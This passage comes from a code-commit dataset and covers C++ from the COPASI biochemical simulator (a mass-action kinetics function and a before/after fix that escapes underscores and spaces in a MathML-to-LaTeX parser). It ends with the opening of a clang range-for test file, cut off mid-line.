&(callParameterNames[1]);   \/\/ first substr.\n    imax = pFactors->size();   \/\/ NoSubstrates\n    if (imax)\n      {\n        sf = callParameterNames[0][0] + r;           \/\/ k1\n        for (i = 0; i < imax; i++)\n          {\n            FixSName((*pFactors)[i], tmpstr);\n            sf += \"*\" + tmpstr;\n          }\n      }\n\n    if (isReversible() == TriFalse)\n      return sf;\n\n    pFactors = &(callParameterNames[3]);\n    imax = pFactors->size();\n    if (imax)\n      {\n        sf += \"-\" + callParameterNames[2][0] + r;\n        for (i = 0; i < imax; i++)\n          {\n            FixSName((*pFactors)[i], tmpstr);\n            sf += \"*\" + tmpstr;\n          }\n      }\n\n    return sf;\n  }\n\nC_FLOAT64 CMassAction::calcValue(const CCallParameterPointers & callParameters) const\n  {\n    unsigned C_INT32 i, imax;\n    C_FLOAT64 **Factor;\n    C_FLOAT64 Substrates = 0.0, Products = 0.0;\n\n    imax = ((std::vector< C_FLOAT64 *> *)callParameters[1])->size();   \/\/ NoSubstrates\n    if (imax)\n      {\n        Substrates = *(C_FLOAT64 *) callParameters[0];           \/\/ k1\n        Factor =\n          &*((std::vector< C_FLOAT64*>*)callParameters[1])->begin();   \/\/ first substr.\n\n        for (i = 0; i < imax; i++)\n          Substrates *= **(Factor++);\n      }\n\n    if (isReversible() == TriFalse)\n      return Substrates;\n\n    imax = ((std::vector< C_FLOAT64 *> *)callParameters[3])->size();   \/\/ NoProducts\n    if (imax)\n      {\n        Products = *(C_FLOAT64 *) callParameters[2];             \/\/ k2\n        Factor =\n          &*((std::vector< C_FLOAT64*>*)callParameters[3])->begin();   \/\/ first product\n\n        for (i = 0; i < imax; i++)\n          Products *= **(Factor++);\n      }\n\n    return Substrates - Products;\n  }\n\nbool CMassAction::dependsOn(const void * parameter,\n                            const CCallParameterPointers & callParameters) const\n  {\n    if (parameter == callParameters[0]) return true;\n\n    std::vector< C_FLOAT64 * >::const_iterator it;\n    std::vector< C_FLOAT64 * >::const_iterator end;\n\n    it = ((std::vector< C_FLOAT64 * > *) callParameters[1])->begin();\n    end = ((std::vector< C_FLOAT64 * > *) callParameters[1])->end();\n\n    for (; it != end; it++) if (parameter == *it) return true;\n\n    if (isReversible() == TriFalse) return false;\n\n    if (parameter == callParameters[2]) return true;\n\n    it = ((std::vector< C_FLOAT64 * > *) callParameters[3])->begin();\n    end = ((std::vector< C_FLOAT64 * > *) callParameters[3])->end();\n\n    for (; it != end; it++) if (parameter == *it) return true;\n\n    return false;\n  }\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Begin CVS Header\n\/\/   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/tex\/CStructureParser.cpp,v $\n\/\/   $Revision: 1.15 $\n\/\/   $Name:  $\n\/\/   $Author: shoops $\n\/\/   $Date: 2011\/03\/07 19:33:43 $\n\/\/ End CVS Header\n\n\/\/ Copyright (C) 2011 - 2010 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., University of Heidelberg, and The University\n\/\/ of Manchester.\n\/\/ All rights reserved.\n\n\/\/ Copyright (C) 2008 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., EML Research, gGmbH, University of Heidelberg,\n\/\/ and The University of Manchester.\n\/\/ All rights reserved.\n\n\/\/ Written by pwilly on 09.07.08\n\n\/**\n * NOTE: We use index 1 and 2 to refer to the first and to the second part, resp.,\n * of some elements. These elements are mfrac, msub, and msup.\n *\/\n\n#include \"CStructureParser.h\"\n\n#include <QString>\n#include <QRegExp>\n\n#include <iostream>\n#include \"UI\/qtUtilities.h\"\n\nCStructureParser::CStructureParser(int n)\n{\n  sumColumns = n;\n}\n\nbool CStructureParser::startDocument()\n{\n  indent = \"\";\n  tex = \"\";\n\n  indexColumns = -1;\n\n  if (!sumColumns)\n    needToWriteColumnAllignment = false;\n  else\n    needToWriteColumnAllignment = true;\n\n  return TRUE;\n}\n\nbool CStructureParser::startElement(const QString& \/* str1 *\/, const QString& \/* str2 *\/,\n                                    const QString& qName,\n                                    const QXmlAttributes& attr)\n{\n  tagName = qName;\n\n  QLinkedList<QString>::iterator itL;\n\n  if (qName == \"mtable\")\n    texHead = \"\\\\begin{array}\";\n\n  if (qName == \"mtr\")\n    indexColumns = 0;\n\n  if (qName == \"mtd\")\n    {\n      if (indexColumns > 0 && indexColumns < sumColumns - 1)\n        tex += \" \\\\; &\";\n\n      if (indexColumns == 0 && needToWriteColumnAllignment)\n        texHead += \"{\";\n\n      if (indexColumns < sumColumns && needToWriteColumnAllignment)\n        {\n          if (attr.count())\n            {\n              if (attr.value(\"columnalign\") == \"left\")\n                texHead += \"l\";\n              else if (attr.value(\"columnalign\") == \"center\")\n                texHead += \"c\";\n              else if (attr.value(\"columnalign\") == \"right\")\n                texHead += \"r\";\n            }\n          else\n            texHead += \"c\";\n        }\n\n      if (indexColumns == sumColumns - 1)\n        {\n          if (needToWriteColumnAllignment)\n            texHead += \"}\";\n\n          needToWriteColumnAllignment = false;\n        }\n    }\n\n  if (qName == \"mfrac\") \/\/ find a mfrac element\n    {\n      \/\/ increment index, if any\n      if (!mListOfUncompletedTags.isEmpty())\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n          \/\/ <mfrac> direct after <mfrac>\n          if (last.contains(\"mfrac\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              tex += \"{\";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"mfrac_0\");\n      tex += \"\\\\frac\";\n    }\n\n  if (qName == \"mfenced\")\n    {\n      mListOfUncompletedTags.push_back(\"mfenced\");\n      tex += \"\\\\left(\";\n    }\n\n  if (qName == \"msub\")\n    {\n      if (mListOfUncompletedTags.size() > 0)\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n          \/\/ <msub> direct after <mfrac>\n          if (last.contains(\"mfrac\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              tex += \"{\";\n            }\n\n          \/\/ <msub> direct after <mfenced>\n          if (last.contains(\"mfenced\") && (!tex.endsWith(\"(\") && !tex.endsWith(\"(\")))\n            {\n              tex += \", \\\\, \";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"msub_0\");\n    }\n\n  if (qName == \"msup\")\n    {\n      if (mListOfUncompletedTags.size() > 0)\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n          \/\/ <msup> direct after <mfrac>\n          if (last.contains(\"mfrac\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              tex += \"{\";\n            }\n\n          \/\/ <msup> direct after <mfenced>\n          if (last.contains(\"mfenced\") && (!tex.endsWith(\"(\") && !tex.endsWith(\"(\")))\n            {\n              tex += \", \\\\, \";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"msup_0\");\n    }\n\n  if (qName == \"mrow\")\n    {\n      \/\/ increment index, if any\n      if (!mListOfUncompletedTags.isEmpty())\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ can be empty\n\n          if (last.contains(\"mfrac\") || last.contains(\"msub\") || last.contains(\"msup\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              if (lastUncompletedTags.contains(\"msub\") && idx == 2)\n                tex += \"_\";\n\n              if (lastUncompletedTags.contains(\"msup\") && idx == 2)\n                tex += \"^\";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"mrow\");\n      tex += \" {\";\n    }\n\n  if (qName == \"mi\" || qName == \"mo\" || qName == \"mn\")\n    {\n      \/\/ increment index, if any\n      if (!mListOfUncompletedTags.isEmpty())\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ can be empty\n\n          if (last.contains(\"mfrac\") || last.contains(\"msub\") || last.contains(\"msup\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              if (lastUncompletedTags.contains(\"msub\") && idx == 2)\n                tex += \"_\";\n\n              if (lastUncompletedTags.contains(\"msup\") && idx == 2)\n                tex += \"^\";\n            }\n\n          if (last.contains(\"mfenced\") && (!tex.endsWith(\"(\") && !tex.endsWith(\"(\")))\n            {\n              tex += \", \\\\, \";\n            }\n        }\n    }\n\n  indent += \"    \";\n\n  return TRUE;\n}\n\nbool CStructureParser::characters(const QString& str)\n{\n  QRegExp rx(\"\\\\w\");\n  QString strAux = str.trimmed();\n  int pos = rx.indexIn(strAux);\n\n  if (pos != -1)\n    {\n      \/\/ handling word character within <mrow> ... <\/mrow>\n      if (tagName == \"mrow\")\n        {\n          if (strAux.length() > 1)\n            tex += \"{\\\\text{\" + strAux + \"}}\";\n          else  \/\/ exactly only one character\n            tex += \"{\" + strAux + \"}\";\n        }\n\n      \/\/ handling word character within <mi> ... <\/mi>\n      if (tagName == \"mi\")\n        {\n          if (strAux.contains(\"\\\\\"))    \/\/ for, eg., \\sin, \\cos\n            tex += strAux;\n          else if (strAux.length() > 1)\n            {\n              if (strAux == \"sech\" || strAux == \"csch\" || strAux == \"arcsec\" || strAux == \"arccsc\"\n                  || strAux == \"arccot\" || strAux == \"arcsinh\" || strAux == \"arccosh\" || strAux == \"arctanh\"\n                  || strAux == \"arcsech\" || strAux == \"arccsch\" || strAux == \"arccoth\")\n                tex += \"{\\\\mathrm{\" + strAux + \" \\\\: }}\";\n              else\n                tex += \"{\\\\mathrm{\" + strAux + \"}}\";\n            }\n          else  \/\/ exactly only one character\n            tex += \"{\" + strAux + \"}\";\n        }\n\n      \/\/ handling word character within <mo> ... <\/mo>\n      if (tagName == \"mo\")\n        {\n          if (strAux.contains(\"\\\\\"))    \/\/ for, eg.,\\cdot, \\ge, \\le, \\ne\n            {\n              if (strAux == \"\\\\log\")\n                tex += \" \\\\, \" + strAux;\n              else if (strAux == \"\\\\lt\")\n                tex += \" \\\\, < \\\\, \";\n              else\n                tex += \" \\\\, \" + strAux + \" \\\\, \";\n            }\n          else if (strAux.contains(\"xor\"))\n            tex += \"\\\\; \\\\mathrm{\" + strAux + \"} \\\\; \";\n          else if (strAux == \"e\")\n            tex += strAux;\n          else\n            tex += \"\\\\mathrm{\" + strAux + \"}\";\n        }\n\n      \/\/ handling word character within <mn> ... <\/mn>\n      if (tagName == \"mn\")\n        tex += \"{\" + strAux + \"}\";\n    }\n  \/\/ handling non-word character\n  else if (strAux == \"=\" || strAux == \"!\" || strAux == \"|\")\n    tex += strAux;\n  else if (strAux == \"-\" || strAux == \"+\" || strAux == \">\" || strAux.contains(\"%\"))\n    tex += \" \\\\, \" + strAux + \" \\\\, \";\n\n  return TRUE;\n}\n\nbool CStructureParser::endElement(const QString&, const QString&, const QString& qName)\n{\n  QLinkedList<QString>::iterator itL;\n\n  indent.remove((uint)0, 4);\n\n  if (qName == \"mtable\")\n    texTail = \"\\\\end{array}\";\n\n  if (qName == \"mfrac\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      \/\/ <\/mfrac> direct after <\/mfrac>\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must be not empty\n        tex += \" }\";\n    }\n\n  if (qName == \"mtr\")\n    tex += \"\\\\\\\\ \\n && \\\\\\\\ \\n\";\n\n  if (qName == \"mtd\")\n    {\n      if (indexColumns > 0 && indexColumns < sumColumns - 1)\n        tex += \"& \\\\; \";\n\n      indexColumns++;\n    }\n\n  if (qName == \"mrow\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last() == \"mrow\")  \/\/ must not be empty\n        mListOfUncompletedTags.pop_back();\n\n      tex += \" } \";\n    }\n\n  if (qName == \"mfenced\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last() == \"mfenced\") \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      tex += \"\\\\right)\";\n\n      QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n      \/\/ <\/msub> direct after <\/mfenced>\n      if (mListOfUncompletedTags.size() > 0 &&\n          last.contains(\"msub\"))\n        {\n          QStringList strList = last.split(\"_\");\n          QString &lastUncompletedTags = strList.first();\n          QString &idxStr = strList.last();\n          int idx = idxStr.toInt();\n          idx++;\n\n          \/\/ update with incrementally index\n          last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n          if (lastUncompletedTags.contains(\"msub\") && idx == 2)\n            tex += \"_\";\n        }\n\n      \/\/ <\/msup> direct after <\/mfenced>\n      if (mListOfUncompletedTags.size() > 0 &&\n          last.contains(\"msup\"))\n        {\n          QStringList strList = last.split(\"_\");\n          QString &lastUncompletedTags = strList.first();\n          QString &idxStr = strList.last();\n          int idx = idxStr.toInt();\n          idx++;\n\n          \/\/ update with incrementally index\n          last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n          if (mListOfUncompletedTags.size() > 0 &&\n              lastUncompletedTags.contains(\"msup\") && idx == 2)\n            tex += \"^\";\n        }\n    }\n\n  if (qName == \"msub\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"msub\")) \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      \/\/ <\/mfrac> direct after <\/msub>\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must ne not empty\n        tex += \" }\";\n    }\n\n  if (qName == \"msup\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"msup\")) \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      \/\/ <\/mfrac> direct after <\/msup>\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must be not empty\n        tex += \" }\";\n    }\n\n  return TRUE;\n}\n\nbool CStructureParser::ignorableWhitespace(const QString& \/* str *\/)\n{\n  return TRUE;\n}\n\nbool CStructureParser::skippedEntity(const QString& \/* str *\/)\n{\n  return TRUE;\n}\n\nQString CStructureParser::getTeX()\n{\n  QString texIntro;\n\n  texIntro = \"%%% Attention: \\n\";\n  texIntro += \"%%% We provide only the LaTeX code of the Differential Equations. \\n\";\n  texIntro += \"%%% You need to include it in your TeX document. \\n\";\n  texIntro += \"%%% Some manual adjustments may be needed for too wide equations. \\n\\n\";\n\n  if (!texHead.isNull())\n    return texIntro + \"$$\\n\" + texHead + \"\\n\" + tex + texTail + \"\\n$$\";\n  else\n    return texIntro + \"$$\\n\" + tex + \"\\n$$\";\n}\n<commit_msg>Fixed Bug 1792. Spaces and underscores are not properly escaped.<commit_after>\/\/ Copyright (C) 2010 - 2012 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., University of Heidelberg, and The University\n\/\/ of Manchester.\n\/\/ All rights reserved.\n\n\/\/ Copyright (C) 2008 - 2009 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., EML Research, gGmbH, University of Heidelberg,\n\/\/ and The University of Manchester.\n\/\/ All rights reserved.\n\n\/\/ Written by pwilly on 09.07.08\n\n\/**\n * NOTE: We use index 1 and 2 to refer to the first and to the second part, resp.,\n * of some elements. These elements are mfrac, msub, and msup.\n *\/\n\n#include \"CStructureParser.h\"\n\n#include <QString>\n#include <QRegExp>\n\n#include <iostream>\n#include \"UI\/qtUtilities.h\"\n\nCStructureParser::CStructureParser(int n)\n{\n  sumColumns = n;\n}\n\nbool CStructureParser::startDocument()\n{\n  indent = \"\";\n  tex = \"\";\n\n  indexColumns = -1;\n\n  if (!sumColumns)\n    needToWriteColumnAllignment = false;\n  else\n    needToWriteColumnAllignment = true;\n\n  return TRUE;\n}\n\nbool CStructureParser::startElement(const QString& \/* str1 *\/, const QString& \/* str2 *\/,\n                                    const QString& qName,\n                                    const QXmlAttributes& attr)\n{\n  tagName = qName;\n\n  QLinkedList<QString>::iterator itL;\n\n  if (qName == \"mtable\")\n    texHead = \"\\\\begin{array}\";\n\n  if (qName == \"mtr\")\n    indexColumns = 0;\n\n  if (qName == \"mtd\")\n    {\n      if (indexColumns > 0 && indexColumns < sumColumns - 1)\n        tex += \" \\\\; &\";\n\n      if (indexColumns == 0 && needToWriteColumnAllignment)\n        texHead += \"{\";\n\n      if (indexColumns < sumColumns && needToWriteColumnAllignment)\n        {\n          if (attr.count())\n            {\n              if (attr.value(\"columnalign\") == \"left\")\n                texHead += \"l\";\n              else if (attr.value(\"columnalign\") == \"center\")\n                texHead += \"c\";\n              else if (attr.value(\"columnalign\") == \"right\")\n                texHead += \"r\";\n            }\n          else\n            texHead += \"c\";\n        }\n\n      if (indexColumns == sumColumns - 1)\n        {\n          if (needToWriteColumnAllignment)\n            texHead += \"}\";\n\n          needToWriteColumnAllignment = false;\n        }\n    }\n\n  if (qName == \"mfrac\") \/\/ find a mfrac element\n    {\n      \/\/ increment index, if any\n      if (!mListOfUncompletedTags.isEmpty())\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n          \/\/ <mfrac> direct after <mfrac>\n          if (last.contains(\"mfrac\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              tex += \"{\";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"mfrac_0\");\n      tex += \"\\\\frac\";\n    }\n\n  if (qName == \"mfenced\")\n    {\n      mListOfUncompletedTags.push_back(\"mfenced\");\n      tex += \"\\\\left(\";\n    }\n\n  if (qName == \"msub\")\n    {\n      if (mListOfUncompletedTags.size() > 0)\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n          \/\/ <msub> direct after <mfrac>\n          if (last.contains(\"mfrac\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              tex += \"{\";\n            }\n\n          \/\/ <msub> direct after <mfenced>\n          if (last.contains(\"mfenced\") && (!tex.endsWith(\"(\") && !tex.endsWith(\"(\")))\n            {\n              tex += \", \\\\, \";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"msub_0\");\n    }\n\n  if (qName == \"msup\")\n    {\n      if (mListOfUncompletedTags.size() > 0)\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n          \/\/ <msup> direct after <mfrac>\n          if (last.contains(\"mfrac\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              tex += \"{\";\n            }\n\n          \/\/ <msup> direct after <mfenced>\n          if (last.contains(\"mfenced\") && (!tex.endsWith(\"(\") && !tex.endsWith(\"(\")))\n            {\n              tex += \", \\\\, \";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"msup_0\");\n    }\n\n  if (qName == \"mrow\")\n    {\n      \/\/ increment index, if any\n      if (!mListOfUncompletedTags.isEmpty())\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ can be empty\n\n          if (last.contains(\"mfrac\") || last.contains(\"msub\") || last.contains(\"msup\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              if (lastUncompletedTags.contains(\"msub\") && idx == 2)\n                tex += \"_\";\n\n              if (lastUncompletedTags.contains(\"msup\") && idx == 2)\n                tex += \"^\";\n            }\n        }\n\n      mListOfUncompletedTags.push_back(\"mrow\");\n      tex += \" {\";\n    }\n\n  if (qName == \"mi\" || qName == \"mo\" || qName == \"mn\")\n    {\n      \/\/ increment index, if any\n      if (!mListOfUncompletedTags.isEmpty())\n        {\n          QString &last = mListOfUncompletedTags.last();  \/\/ can be empty\n\n          if (last.contains(\"mfrac\") || last.contains(\"msub\") || last.contains(\"msup\"))\n            {\n              QStringList strList = last.split(\"_\");\n              QString &lastUncompletedTags = strList.first();\n              QString &idxStr = strList.last();\n              int idx = idxStr.toInt();\n              idx++;\n\n              \/\/ update with incrementally index\n              last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n              if (lastUncompletedTags.contains(\"msub\") && idx == 2)\n                tex += \"_\";\n\n              if (lastUncompletedTags.contains(\"msup\") && idx == 2)\n                tex += \"^\";\n            }\n\n          if (last.contains(\"mfenced\") && (!tex.endsWith(\"(\") && !tex.endsWith(\"(\")))\n            {\n              tex += \", \\\\, \";\n            }\n        }\n    }\n\n  indent += \"    \";\n\n  return TRUE;\n}\n\nbool CStructureParser::characters(const QString& str)\n{\n  QRegExp rx(\"\\\\w\");\n  QString strAux = str.trimmed();\n  int pos = rx.indexIn(strAux);\n\n  std::cout << TO_UTF8(strAux) << std::endl;\n\n  if (pos != -1)\n    {\n      \/\/ handling word character within <mrow> ... <\/mrow>\n      if (tagName == \"mrow\")\n        {\n          if (strAux.length() > 1)\n            tex += \"{\\\\text{\" + strAux + \"}}\";\n          else  \/\/ exactly only one character\n            tex += \"{\" + strAux + \"}\";\n        }\n\n      \/\/ handling word character within <mi> ... <\/mi>\n      if (tagName == \"mi\")\n        {\n          if (strAux.contains(\"\\\\\"))    \/\/ for, eg., \\sin, \\cos\n            tex += strAux;\n          else if (strAux.length() > 1)\n            {\n              if (strAux == \"sech\" || strAux == \"csch\" || strAux == \"arcsec\" || strAux == \"arccsc\"\n                  || strAux == \"arccot\" || strAux == \"arcsinh\" || strAux == \"arccosh\" || strAux == \"arctanh\"\n                  || strAux == \"arcsech\" || strAux == \"arccsch\" || strAux == \"arccoth\")\n                tex += \"{\\\\mathrm{\" + strAux + \" \\\\: }}\";\n              else\n                {\n                  strAux.replace(\"_\", \"\\\\_\");\n                  strAux.replace(\" \", \"\\\\;\");\n                  tex += \"{\\\\mathrm{\" + strAux + \"}}\";\n                }\n            }\n          else  \/\/ exactly only one character\n            tex += \"{\" + strAux + \"}\";\n        }\n\n      \/\/ handling word character within <mo> ... <\/mo>\n      if (tagName == \"mo\")\n        {\n          if (strAux.contains(\"\\\\\"))    \/\/ for, eg.,\\cdot, \\ge, \\le, \\ne\n            {\n              if (strAux == \"\\\\log\")\n                tex += \" \\\\, \" + strAux;\n              else if (strAux == \"\\\\lt\")\n                tex += \" \\\\, < \\\\, \";\n              else\n                tex += \" \\\\, \" + strAux + \" \\\\, \";\n            }\n          else if (strAux.contains(\"xor\"))\n            tex += \"\\\\; \\\\mathrm{\" + strAux + \"} \\\\; \";\n          else if (strAux == \"e\")\n            tex += strAux;\n          else\n            tex += \"\\\\mathrm{\" + strAux + \"}\";\n        }\n\n      \/\/ handling word character within <mn> ... <\/mn>\n      if (tagName == \"mn\")\n        tex += \"{\" + strAux + \"}\";\n    }\n  \/\/ handling non-word character\n  else if (strAux == \"=\" || strAux == \"!\" || strAux == \"|\")\n    tex += strAux;\n  else if (strAux == \"-\" || strAux == \"+\" || strAux == \">\" || strAux.contains(\"%\"))\n    tex += \" \\\\, \" + strAux + \" \\\\, \";\n\n  return TRUE;\n}\n\nbool CStructureParser::endElement(const QString&, const QString&, const QString& qName)\n{\n  QLinkedList<QString>::iterator itL;\n\n  indent.remove((uint)0, 4);\n\n  if (qName == \"mtable\")\n    texTail = \"\\\\end{array}\";\n\n  if (qName == \"mfrac\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      \/\/ <\/mfrac> direct after <\/mfrac>\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must be not empty\n        tex += \" }\";\n    }\n\n  if (qName == \"mtr\")\n    tex += \"\\\\\\\\ \\n && \\\\\\\\ \\n\";\n\n  if (qName == \"mtd\")\n    {\n      if (indexColumns > 0 && indexColumns < sumColumns - 1)\n        tex += \"& \\\\; \";\n\n      indexColumns++;\n    }\n\n  if (qName == \"mrow\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last() == \"mrow\")  \/\/ must not be empty\n        mListOfUncompletedTags.pop_back();\n\n      tex += \" } \";\n    }\n\n  if (qName == \"mfenced\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last() == \"mfenced\") \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      tex += \"\\\\right)\";\n\n      QString &last = mListOfUncompletedTags.last();  \/\/ must be not empty\n\n      \/\/ <\/msub> direct after <\/mfenced>\n      if (mListOfUncompletedTags.size() > 0 &&\n          last.contains(\"msub\"))\n        {\n          QStringList strList = last.split(\"_\");\n          QString &lastUncompletedTags = strList.first();\n          QString &idxStr = strList.last();\n          int idx = idxStr.toInt();\n          idx++;\n\n          \/\/ update with incrementally index\n          last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n          if (lastUncompletedTags.contains(\"msub\") && idx == 2)\n            tex += \"_\";\n        }\n\n      \/\/ <\/msup> direct after <\/mfenced>\n      if (mListOfUncompletedTags.size() > 0 &&\n          last.contains(\"msup\"))\n        {\n          QStringList strList = last.split(\"_\");\n          QString &lastUncompletedTags = strList.first();\n          QString &idxStr = strList.last();\n          int idx = idxStr.toInt();\n          idx++;\n\n          \/\/ update with incrementally index\n          last = lastUncompletedTags + \"_\" + QString::number(idx);\n\n          if (mListOfUncompletedTags.size() > 0 &&\n              lastUncompletedTags.contains(\"msup\") && idx == 2)\n            tex += \"^\";\n        }\n    }\n\n  if (qName == \"msub\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"msub\")) \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      \/\/ <\/mfrac> direct after <\/msub>\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must ne not empty\n        tex += \" }\";\n    }\n\n  if (qName == \"msup\")\n    {\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"msup\")) \/\/ must be not empty\n        mListOfUncompletedTags.pop_back();\n\n      \/\/ <\/mfrac> direct after <\/msup>\n      if (mListOfUncompletedTags.size() > 0 &&\n          mListOfUncompletedTags.last().contains(\"mfrac\"))  \/\/ must be not empty\n        tex += \" }\";\n    }\n\n  return TRUE;\n}\n\nbool CStructureParser::ignorableWhitespace(const QString& \/* str *\/)\n{\n  return TRUE;\n}\n\nbool CStructureParser::skippedEntity(const QString& \/* str *\/)\n{\n  return TRUE;\n}\n\nQString CStructureParser::getTeX()\n{\n  QString texIntro;\n\n  texIntro = \"%%% Attention: \\n\";\n  texIntro += \"%%% We provide only the LaTeX code of the Differential Equations. \\n\";\n  texIntro += \"%%% You need to include it in your TeX document. \\n\";\n  texIntro += \"%%% Some manual adjustments may be needed for too wide equations. \\n\\n\";\n\n  if (!texHead.isNull())\n    return texIntro + \"$$\\n\" + texHead + \"\\n\" + tex + texTail + \"\\n$$\";\n  else\n    return texIntro + \"$$\\n\" + tex + \"\\n$$\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s -std=c++11\n\nnamespace value_range_detail {\n  template<typename T>\n  class value_range_iter {\n    T t;\n  public:\n    value_range_iter(const T &t) : t(t) {}\n    T operator*() const { return t; }\n    bool operator!=(const value_range_iter &o) const { return t != o.t; }\n    value_range_iter &operator++() { ++t; return *this; }\n  };\n\n  template<typename T>\n  struct value_range {\n    value_range(const T &a, const T &b) : begin_(a), end_(b) {}\n    value_range_iter<T> begin_, end_;\n  };\n\n  template<typename T>\n  value_range_iter<T> begin(const value_range<T> &r) { return r.begin_; }\n  template<typename T>\n  value_range_iter<T> end(const value_range<T> &r) { return r.end_; }\n\n\n  struct end_t {};\n\n  template<typename T>\n  class value_range_step_iter {\n    T it, step;\n  public:\n    value_range_step_iter(const T &it, const T &step) : it(it), step(step) {}\n    T operator*() const { return it; }\n    bool operator!=(value_range_step_iter end) const { return it != end.it; }\n    value_range_step_iter &operator++() { it += step; return *this; }\n  };\n\n  template<typename T>\n  class value_range_step {\n    T it, step, end_;\n  public:\n    value_range_step(const T &it, const T &end, const T &step) 